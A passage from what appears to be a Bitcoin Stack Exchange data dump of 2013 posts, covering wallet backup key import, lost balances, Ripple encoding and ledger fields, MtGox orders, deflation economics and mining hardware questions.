run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bash coin_get_diff.sh bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;....&#xA;Difference from main chain 2528577 s. or 42142 m.  or 702 h.  or 29 d.&#xA;Approximate Time Remaining: 2186.83957899106610047826 seconds to complete  sync.[m: 36.44732631651776834130; h: .60745543860862947235; d: .02531064327535956134 ]&#xA;Difference from main chain 2526232 s. or 42103 m.  or 701 h.  or 29 d.&#xA;Approximate Time Remaining: 2184.21035499949140474011 seconds to complete  sync.[m: 36.40350591665819007900; h: .60672509861096983465; d: .02528021244212374311 ]&#xA;Difference from main chain 2524021 s. or 42067 m.  or 701 h.  or 29 d.&#xA;Approximate Time Remaining: 2205.15551284291455530316 seconds to complete  sync.[m: 36.75259188071524258838; h: .61254319801192070980; d: .02552263325049669624 ]&#xA;...&#xA;..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7317" LastEditorUserId="6990" LastEditDate="2013-11-01T06:59:23.363" LastActivityDate="2013-11-01T06:59:23.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14115" PostTypeId="2" ParentId="12130" CreationDate="2013-10-27T23:42:46.950" Score="2" Body="&lt;p&gt;The backup file produced by the Android Bitcoin app is a text file containing lines of the form&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;5Jhvcnoi9LFxEcg68gTaDB3DiKEJ6TWJuMmyfjv89uEv3AbgdV 2013-01-01T12:34:56Z&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first field is the private key.  This can be imported into bitcoin-qt using the &lt;code&gt;importprivkey&lt;/code&gt; command.  Choose &quot;Help &gt; Debug window&quot;, go to the &quot;Console&quot; tab, and enter:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;importprivkey 5Jhvcnoi9LFxEcg68gTaDB3DiKEJ6TWJuMmyfjv89uEv3AbgdV&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where you paste in the private key from the file.  bitcoin-qt will be unresponsive for several minutes while it searches the blockchain for existing transactions involving the new address; this is normal.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-10-27T23:42:46.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14116" PostTypeId="1" AcceptedAnswerId="14117" CreationDate="2013-10-28T00:14:19.827" Score="0" ViewCount="1534" Body="&lt;p&gt;Last time I used my Bitcoin-qt client was a few months ago.  I made a backup of the wallet to an external USB drive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yesterday, I started the client and after it synchronized the block-chain, I saw that I had 0 bitcoins!  I restored the backup wallet.dat file and started it again, it said it was rescanning, and then the same result: 0 bitcoins! Even the transaction history is blank!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had once done a paper backup but cannot find that now. Would that help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to know if I was hacked and my btc stolen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help... any advice and hints appreciated!&lt;/p&gt;&#xA;" OwnerUserId="7321" LastActivityDate="2021-08-13T10:26:06.460" Title="Lost my bitcoins, was I hacked?" Tags="|wallet.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14117" PostTypeId="2" ParentId="14116" CreationDate="2013-10-28T00:21:38.807" Score="1" Body="&lt;p&gt;If your bitcoins had been stolen (by someone else who acquired the private keys), your client would show transactions sending those coins to the thief's address.  The fact that you see no transactions at all suggests that for some reason the client has not imported the keys correctly, or perhaps that your backup is corrupt.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know the addresses from your wallet, you can look them up on a site like &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info&lt;/a&gt; and see if the coins are still in those addresses, or if they have been transferred out.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-10-28T00:21:38.807" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14118" PostTypeId="2" ParentId="1480" CreationDate="2013-10-28T01:01:20.430" Score="2" Body="&lt;p&gt;CoinJoin is being tested and is working &lt;a href=&quot;https://bitcointalk.org/index.php?topic=282086.20&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=282086.20&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-10-28T01:01:20.430" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14119" PostTypeId="1" AcceptedAnswerId="14127" CreationDate="2013-10-28T02:24:44.713" Score="2" ViewCount="194" Body="&lt;p&gt;I'm interested in understanding Bitcoin better, and developing good habits with regard to cryptocurrency, even though I'm not using Bitcoin very much at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But based on my very limited activity with Bitcoin, I think I've found myself in a vulnerable position through mechanisms that I don't understand. Here's what I've done:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Months ago, I set up Bitcoin Wallet on my Android phone. And it, of course, assigned me a Bitcoin address (1L...).&lt;/li&gt;&#xA;&lt;li&gt;I visited a couple of those sites where you view an advertisement and get a trivial amount of Bitcoin, just to see how the transactions flowed. This worked, and I then had Bitcoin holdings that were too small to spend. I left it all alone for a while.&lt;/li&gt;&#xA;&lt;li&gt;I installed Multibit on my desktop and imported my private keys from Bitcoin Wallet.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin Wallet posted a notice of an Android vulnerability that affected Bitcoin wallets, and suggested moving funds to a new address. The app created a new address for me (1M...). I imported the new private keys to Multibit, but my holdings were of course too small to be moveable.&lt;/li&gt;&#xA;&lt;li&gt;Recently I saw that an app developer who makes a free app that I find highly useful was taking tips in Bitcoin. I thought this would be a nice chance to go a little deeper into the Bitcoin ecosystem. So I purchased enough to cover my tip (with a little left over) from Coinbase, and then transferred them to my new, presumably uncompromised, address: 1M...&lt;/li&gt;&#xA;&lt;li&gt;I initiated my tip to the app developer in Multibit. That transfer went successfully, but when I examine the blockchain, I see that the transaction has emptied my new address (1M...) and put it all in the old address (1L...) that Bitcoin Wallet warned me not to use any more.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The amounts I'm dealing with are quite small, so I'm not in a panic about it -- but I don't understand what happened here. Specifically,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Why did the transaction clear out the funding address rather than just take what it needed from it?&lt;/li&gt;&#xA;&lt;li&gt;Did I do something wrong? Or, alternately, is there something I could/should have done to manage the transactions with more detail?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7322" LastEditorUserId="7322" LastEditDate="2013-10-28T13:48:17.397" LastActivityDate="2013-10-28T13:54:02.377" Title="How to Avoid Wallets Compromised by Android Vulnerability" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14120" PostTypeId="2" ParentId="14091" CreationDate="2013-10-28T02:30:35.540" Score="3" Body="&lt;p&gt;As Bitcoin is a digital-specie currency, if it replaced all fiat currencies it would be the equivalent of reverting to a (digital) gold standard and can be answered in much the same way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, a gold standard is deflationary. Explaining this again and again is tedious, so I'll summarise: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;People provide goods or services to others and receive IOUs for other goods and services, redeemable on the rest of the world; this is the essence of money. &lt;/li&gt;&#xA;&lt;li&gt;As more people interact and do so faster and faster, the money supply must expand to reflect the transaction volume; otherwise earlier unredeemed IOUs are worth more than new IOUs for the same goods and services.&lt;/li&gt;&#xA;&lt;li&gt;A currency with a fixed limit (be it Satoshis or Gold atoms) will either not expand (everything has been mined) or will expand slower than the rate required by the economy for its money supply&lt;sup&gt;1&lt;/sup&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Hence, either society cheats and detaches their promissory notes from an exact gold amount (fractional reserve banking and the like) and thus moves towards a fiat currency; or suffers the acute boom and bust cycles of purchasing power and liquidity depending on when hoarders hoard vs sell their stockpile. If you are that lucky. Strictly speaking, hoarders as rational actors would hoard forever and the entire economy would need to bootstrap from barter or a different currency.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Secondly, possession of a deflationary currency encourages hoarding if the society is forced to use only that currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A person with a large amount of deflationary currency will consider it an investment as its purchasing power will increase the longer they don't spend it (sell the IOU for goods and services). Everyone receiving the currency will do the same&lt;sup&gt;2&lt;/sup&gt;. The economy slows down both directly through forgone purchases and indirectly through no investment in endeavours with a risk greater than zero.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Wouldn't the effect of this be to make the wealthy extremely risk-averse?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The wealthy are already extremely risk-averse. This isn't as apparent in a fiat currency as those currencies reflect (however poorly due to manipulation) the underlying economy&lt;sup&gt;3&lt;/sup&gt; where inflation driven by productivity growth, population growth and the price/wage spiral requires equity to be put into risky investments that outpace inflation. Indeed this relentless hunt by the wealthy for places to park money without the risks of normal productive investment created the sub-prime mortgage and financial derivatives market. And the counter-reaction of deflationary cryptocurrencies, when in practice honest propagation of risk information would have prevented the same crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, a deflationary currency would allow the wealthy to better express their existing risk aversion.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Wouldn't this increase wealth inequality and make social mobility more difficult?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both inflation and deflation entrench existing wealth inequality as the countermeasures require discretionary wealth to begin with. But while inflation forces the rich to continuously re-inject their wealth into society to keep it&lt;sup&gt;4&lt;/sup&gt;, deflation requires them to hoard their money unless they just want to give it away. A lower and middle classes (i.e. those without sufficient assets to thrive without working) must spend what they earn and thus are essentially subsidising the rich in a deflationary economy; at the cost of their own social mobility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt; 1. A true post-growth society wouldn't need an expanding money supply. But then the key differences between specie and fiat currency would be irrelevant to an &quot;economically static&quot; society anyway. Money itself would simply be a token of energy or entropic appraisal with culturally-specific multipliers.&lt;/sub&gt;&lt;br /&gt;&#xA;&lt;sub&gt; 2.  Except poor people living hand to mouth. Which is why widespread poverty is considered to be an excellent way to keep money circulating in an economy that would otherwise be deflating. &lt;/sub&gt;&lt;br /&gt;&#xA;&lt;sub&gt;3. As more accurate currency price signals out-compete inaccurate signals over time due to exchange velocity and trustworthiness of face value; hence the slow and often belated but forward progression towards currencies that better reflect the global economy. &lt;/sub&gt;&lt;br /&gt;&#xA;&lt;sub&gt; 4. This doesn't make them any poorer as they own, to use a trite Marxist phrase, the means of production. But it does circulate the money which is a good thing. Consider it the objective of lending the serfs ploughs to work their allotment instead of hoarding the ploughs uselessly in the castle.&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Caveat:&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no hard fixed requirement that Bitcoin remain a deflationary currency. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible - though perhaps not likely - that exchanges and mining consortiums will transform  into (or be purchased as) off-blockchain central banks with the capacity to manage Bitcoins as a fractional reserve or outright fiat currency.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes and Yes + Caveat.&lt;/p&gt;&#xA;" OwnerUserId="6679" LastActivityDate="2013-10-28T02:30:35.540" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="14121" PostTypeId="2" ParentId="14086" CreationDate="2013-10-28T07:32:48.540" Score="0" Body="&lt;p&gt;You can look at the range's first and last block, if they match exactly you can just calculate the average hash-rate from time elapsed, height difference (number of blocks) and difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they don't match, you will have to create the weighted average over each difficulty section. You calculate the average hash-rate for each section then multiply it with the duration, add all the results together, divide by total time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could find the sections by binary search between your range's first block and last block, but it would be much easier to just look at every 2016th block, because the reset happens on schedule. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Better yet, you can actually tell immediately that way how many changes in difficulty exist in your range by looking at the height of first and last block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;br&gt;&#xA;As pointed out by Pieter, it is possible for blocks to be timestamped inconsistently, making it possible for a block to have a lower timestamp than their predecessor. Any implementation should probably check for corner-cases such as this one. In general the result will be better if a larger interval is taken into account, unless the interval is so large that the hashing-power has increased significantly within it.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-04-28T22:40:53.323" LastActivityDate="2014-04-28T22:40:53.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14124" PostTypeId="1" CreationDate="2013-10-28T10:58:17.927" Score="8" ViewCount="2477" Body="&lt;p&gt;In &lt;a href=&quot;https://bitcoin.stackexchange.com/a/7599/323&quot;&gt;this answer&lt;/a&gt; I found out that Ripple uses a different base58 alphabet from Bitcoin. There aren't many materials on what that alphabet is, but I managed to find &lt;a href=&quot;https://ripple.com/wiki/Encodings&quot; rel=&quot;nofollow noreferrer&quot;&gt;this reference&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The base58 dictionary for ripple is: rpshnaf39wBUDNEGHJKLM4PQRST7VWXYZ2bcdeCg65jkm8oFqi1tuvAxyz&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am wondering - why is Ripple's alphabet so bizarre in comparison to Bitcoin's base58 alphabet:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I understand that for some branding reasons one would want to put &quot;r&quot; as a letter for 0 and use 0 as network byte for Ripple (thus making every address start with &quot;r&quot;), but the same could've been accomplished by simply shifting the alphabet like so:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;rstuvwxyz123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopq&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What is the logic behind the odd alphabet letter order?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-10-28T18:29:49.487" Title="Why is Ripple's base58 alphabet so weird?" Tags="|ripple|address|standard|encoding|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14125" PostTypeId="1" AcceptedAnswerId="14141" CreationDate="2013-10-28T11:24:35.277" Score="0" ViewCount="285" Body="&lt;p&gt;In rippled's API, for example in &lt;a href=&quot;https://ripple.com/wiki/JSON_Messages#account_info&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;account_info&lt;/code&gt;&lt;/a&gt;, we can see that &lt;code&gt;ledger_hash&lt;/code&gt; and &lt;code&gt;ledger_index&lt;/code&gt; are different from one another. &lt;a href=&quot;https://ripple.com/wiki/JSON_API#ledger&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;ledger_hash&lt;/code&gt;&lt;/a&gt; is just a hash of the ledger. However, &lt;a href=&quot;https://ripple.com/wiki/File%3aLedger_entry.png&quot; rel=&quot;nofollow&quot;&gt;in this graphic&lt;/a&gt; we can see that &lt;code&gt;ledger_index&lt;/code&gt; also looks like a hash of the ledger. There doesn't appear to be &lt;a href=&quot;https://ripple.com/wiki/JSON_API#ledger_index&quot; rel=&quot;nofollow&quot;&gt;an entry for &lt;code&gt;ledger_index&lt;/code&gt;&lt;/a&gt; in the Wiki, so what is the difference between those two?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-10-29T01:42:31.243" Title="What is the difference between ledger_hash and ledger_index in Ripple?" Tags="|ripple|api|json-rpc|standard|ledger-hardware-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14126" PostTypeId="1" CreationDate="2013-10-28T11:32:07.830" Score="-1" ViewCount="1006" Body="&lt;p&gt;MtGox has market orders and non-market orders. From what I know, market orders will execute at the current market price whereas the non-market order will execute only at the price that I have set (or a better price).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set a non-market order to sell my coins at $183.44/BTC. However, when I look at my logs, the coins were sold for $181.11002.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to approach MtGox staff but they are simply beating about the bush. Can someone explain why were the coins sold for a price lower than the price set?&lt;/p&gt;&#xA;" OwnerUserId="1475" LastActivityDate="2014-04-27T00:18:57.003" Title="How does MtGox Limit sell work?" Tags="|mtgox|trading|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14127" PostTypeId="2" ParentId="14119" CreationDate="2013-10-28T13:54:02.377" Score="1" Body="&lt;p&gt;As this bug has been fixed the best idea is to archive those addresses which have been generated before the update (not all wallet applications support this feature). The other is to completely remove the wallet and replace with a new updated version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as im aware no wallet supports deletion of addresses (for obvious reasons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for creating transactions, on specific wallets some have more detailed sending abilities than others, its all about a balance of userfriendly vs features. If you look at blockchain.info wallet it has advanced features allowing specific send from and change addresses to be set, most mobile apps will probabaly lack such sophistcation due to being made for mobile.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-10-28T13:54:02.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14129" PostTypeId="2" ParentId="14124" CreationDate="2013-10-28T17:01:32.110" Score="8" Body="&lt;p&gt;I don't know about the rest of the string but I think the leading bytes are ordered that way to make the types of &quot;addresses&quot; be human reconizable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a quick look at the source I think the leading characters, &lt;code&gt;rpshnaf&lt;/code&gt; map like so:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;r = public Ripple address&lt;/li&gt;&#xA;&lt;li&gt;p = node private&lt;/li&gt;&#xA;&lt;li&gt;s = Ripple secret&lt;/li&gt;&#xA;&lt;li&gt;h = ?&lt;/li&gt;&#xA;&lt;li&gt;n = node public&lt;/li&gt;&#xA;&lt;li&gt;a = address family generator or seed ?&lt;/li&gt;&#xA;&lt;li&gt;f = address family generator or seed ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Of these, wallet owners have seen the r* and s* &quot;addresses&quot; and those running ripple will be have seen the n* and p* ones.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2013-10-28T17:01:32.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14131" PostTypeId="1" AcceptedAnswerId="14139" CreationDate="2013-10-28T17:46:17.150" Score="2" ViewCount="2633" Body="&lt;p&gt;I'm trying to figure out where the bottle neck in terms of bandwidth would be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;no other processes running on raspberry pi (700MHz processor, no&#xA;overclocking)&lt;/li&gt;&#xA;&lt;li&gt;no limit on internet up/down rates no limit on power of&#xA;external USB hub (5V, 12A power supply)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What is the maximum data rate that the usb bus can handle?&#xA;What is the maximum data rate a block erupter could ever need (I don't know how to convert Hashes/s to Bytes/s on the USB bus)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there tools I can use to grab these numbers (e.g. some utility like netcat?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I put a 10-port usb hub in each of the two raspberry pi usb ports?&lt;/p&gt;&#xA;" OwnerUserId="7171" LastActivityDate="2014-03-09T17:08:19.190" Title="Maximum number of block erupters raspberry pi can handle?" Tags="|asic|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14133" PostTypeId="1" CreationDate="2013-10-28T18:41:58.360" Score="34" ViewCount="52890" Body="&lt;p&gt;In the same vein as setting up a private DNS root server and using whatever domain names you want, how do you generate your own blockchain and mine your own coins?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I don't want any answers like &quot;why would you want to?&quot;  I want to do it &lt;strong&gt;because it can be done&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="7328" LastActivityDate="2018-02-18T00:13:25.147" Title="How to make a new blockchain from scratch" Tags="|blockchain|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14136" PostTypeId="2" ParentId="14126" CreationDate="2013-10-28T19:37:38.397" Score="0" Body="&lt;p&gt;I haven't actually looked at the code but this would be my best guess. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you place a limit order, your order bid/ask is placed into a queue for that price. When the &lt;a href=&quot;http://www.investopedia.com/terms/i/insidequote.asp&quot; rel=&quot;nofollow&quot;&gt;inside price&lt;/a&gt; equals the price of your limit order, it will be executed and removed from the queue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If what your saying has happened then either you made a mistake in placing the order or mtgox's system has a bug. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-10-28T19:37:38.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14138" PostTypeId="2" ParentId="2847" CreationDate="2013-10-28T21:55:24.793" Score="-1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The only realistic risk would be quantum computing.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Or the discovery of a bug or flaw in the BTC software algorithms. Then cracking could be a matter of seconds, depending on the type of the flaw.&lt;/p&gt;&#xA;" OwnerUserId="7331" LastEditorUserId="7331" LastEditDate="2013-10-29T13:13:26.877" LastActivityDate="2013-10-29T13:13:26.877" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14139" PostTypeId="2" ParentId="14131" CreationDate="2013-10-28T22:55:44.930" Score="1" Body="&lt;p&gt;You can probably go up to the maximum of 127 devices if you really wanted (the USB2 limit), remembering though that the Ethernet adaptor is one, and each hub also counts in one. Word on the street also indicates a 49 Eruptor limit, though that's probably just a software limitation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transfer speed will never be an issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CPU speed will never be an issue. &lt;/p&gt;&#xA;" OwnerUserId="7234" LastActivityDate="2013-10-28T22:55:44.930" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14141" PostTypeId="2" ParentId="14125" CreationDate="2013-10-29T01:42:31.243" Score="2" Body="&lt;p&gt;The &lt;code&gt;ledger_index&lt;/code&gt; is the 256-bit index of a particular entry in the ledger. The ledger's state tree is a hash tree of index/value pairs. Each index is a 256-bit hash of some kind of locator. If the entry is, say, an account root node, the index is a hash of the 160-bit account ID. If the entry is, say, a ripple balance node, the index is a hash of the two accounts the balance is between and the currency identifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;ledger_hash&lt;/code&gt; is the 256-bit hash of the ledger header, which effectively acts as a hash of the entire ledger.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-10-29T01:42:31.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14147" PostTypeId="2" ParentId="14133" CreationDate="2013-10-29T05:07:30.180" Score="0" Body="&lt;p&gt;You would want to use &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/testnet-in-a-box/&quot; rel=&quot;nofollow&quot;&gt;Testnet in a box&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7342" LastActivityDate="2013-10-29T05:07:30.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14149" PostTypeId="1" CreationDate="2013-10-29T09:08:12.397" Score="3" ViewCount="767" Body="&lt;p&gt;In Ripple &lt;a href=&quot;https://ripple.com/wiki/Transaction_Format#Payment_.280.29&quot; rel=&quot;nofollow&quot;&gt;payment transactions&lt;/a&gt; we can specify an invoice ID that is used to make payments for a particular invoice. Is there a way to specify such an invoice ID in &lt;a href=&quot;https://ripple.com/wiki/Ripple_URIs#send&quot; rel=&quot;nofollow&quot;&gt;Ripple's URI scheme&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-06-05T13:45:58.417" Title="Is there a way to specify an invoice ID in Ripple URI?" Tags="|transactions|ripple|bip21-uri|" AnswerCount="0" CommentCount="4" ClosedDate="2019-07-17T21:14:01.627" ContentLicense="CC BY-SA 3.0" />
  <row Id="14151" PostTypeId="1" AcceptedAnswerId="14161" CreationDate="2013-10-29T13:42:24.593" Score="1" ViewCount="824" Body="&lt;p&gt;I'm just starting to write a bitcoin script parser and I am wondering how to get the address from the genesis block? &lt;a href=&quot;http://blockexplorer.com/rawblock/000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f&quot; rel=&quot;nofollow&quot;&gt;blockexplorer.com shows the coinbase value to be&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;in the raw block data. But it also &lt;a href=&quot;http://blockexplorer.com/b/0&quot; rel=&quot;nofollow&quot;&gt;shows the receiving address for this transaction to be&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I derive the address from the raw transaction? I found a &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;page in the wiki&lt;/a&gt; that talks about creating an address, but this seems like it is going about the process in a back-to-front order. Surely the address must exist first before the raw block can allocate the mined coins to it? Otherwise, the blockchain would simply have to allocate mined funds into the ether. The receiving address must have been known to the mining algorithm before it generated the very first mining transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please could someone walk me through the steps of deriving the address from the raw transaction script.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2116" LastEditDate="2013-10-30T11:11:24.590" LastActivityDate="2013-10-30T11:11:24.590" Title="Deriving the Bitcoin address from the raw block script" Tags="|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14152" PostTypeId="1" CreationDate="2013-10-29T14:07:40.647" Score="16" ViewCount="4566" Body="&lt;p&gt;I've been going to blockchain.info frequently to check addresses, transactions, blocks, etc. But since I've already got the blockchain on my hard drive, this seems kind of pointless. Is there any software similar to blockchain.info that runs natively on Linux, and uses Bitcoin-qt/bitcoind's blockchain, and therefore doesn't require an internet connection?&lt;/p&gt;&#xA;" OwnerUserId="7324" LastEditorUserId="5406" LastEditDate="2014-02-09T09:54:34.860" LastActivityDate="2016-03-01T03:55:46.743" Title="&quot;Blockchain Explorer&quot; software?" Tags="|blockchain|blockchain.info|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14153" PostTypeId="1" CreationDate="2013-10-29T16:07:00.887" Score="1" ViewCount="157" Body="&lt;p&gt;I'm looking for a way to connect to several Bitcoin nodes using &lt;a href=&quot;http://en.wikipedia.org/wiki/Python_%28programming_language%29&quot; rel=&quot;nofollow&quot;&gt;Python&lt;/a&gt;...&#xA;I've been looking in different Bitcoin-for-Python libraries, but I haven't found anything :(&#xA;What should I do?&lt;/p&gt;&#xA;" OwnerUserId="7351" LastEditorUserId="1405" LastEditDate="2014-01-21T09:20:49.097" LastActivityDate="2014-04-21T10:32:04.370" Title="How to connect to several Bitcoin nodes using Bitcoin" Tags="|development|nodes|library|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
